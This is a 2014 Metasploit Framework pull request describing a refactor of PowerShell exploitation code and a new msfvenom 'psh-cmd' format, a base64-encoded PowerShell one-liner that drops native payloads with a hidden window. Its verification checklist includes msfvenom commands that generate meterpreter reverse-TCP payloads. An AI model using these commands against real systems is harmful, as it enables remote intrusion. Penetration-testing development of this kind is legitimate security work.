rapid7/metasploit-framework — pull request #4330 by Meatballs1 (2014-12-07 00:41:07+00:00)
Title: Powershell Refactor for MsfVenom psh-cmd

This pushes most of the Msf::Exploit::Powershell functionality into the Rex::Exploitation::Powershell::Command module and implements the psh-cmd script type.

psh-cmd is a base64 encoded powershell oneliner to drop native x86/x64 payloads.

The existing psh, psh-net, psh-reflection create a powershell script, but a user has to manually encode it if they want it in a one liner. They also miss out on all the compression/architecture detection and hidden window features that Msf::Exploit::Powershell currently contains.

## Verification
- [ ] Specs still work
- [ ] exploit/windows/smb/psexec_psh still works
- [ ] exploit/multi/script/web_delivery TARGET 2 still works
- [ ] other Powershell exploit modules should still work but the above should probably give a good indication if specs still ok as well.
- [ ] msfvenom -p windows/meterpreter/reverse_tcp -f psh-cmd LHOST=blah
- [ ] msfvenom -p windows/x64/meterpreter/reverse_tcp -f psh-cmd LHOST=blah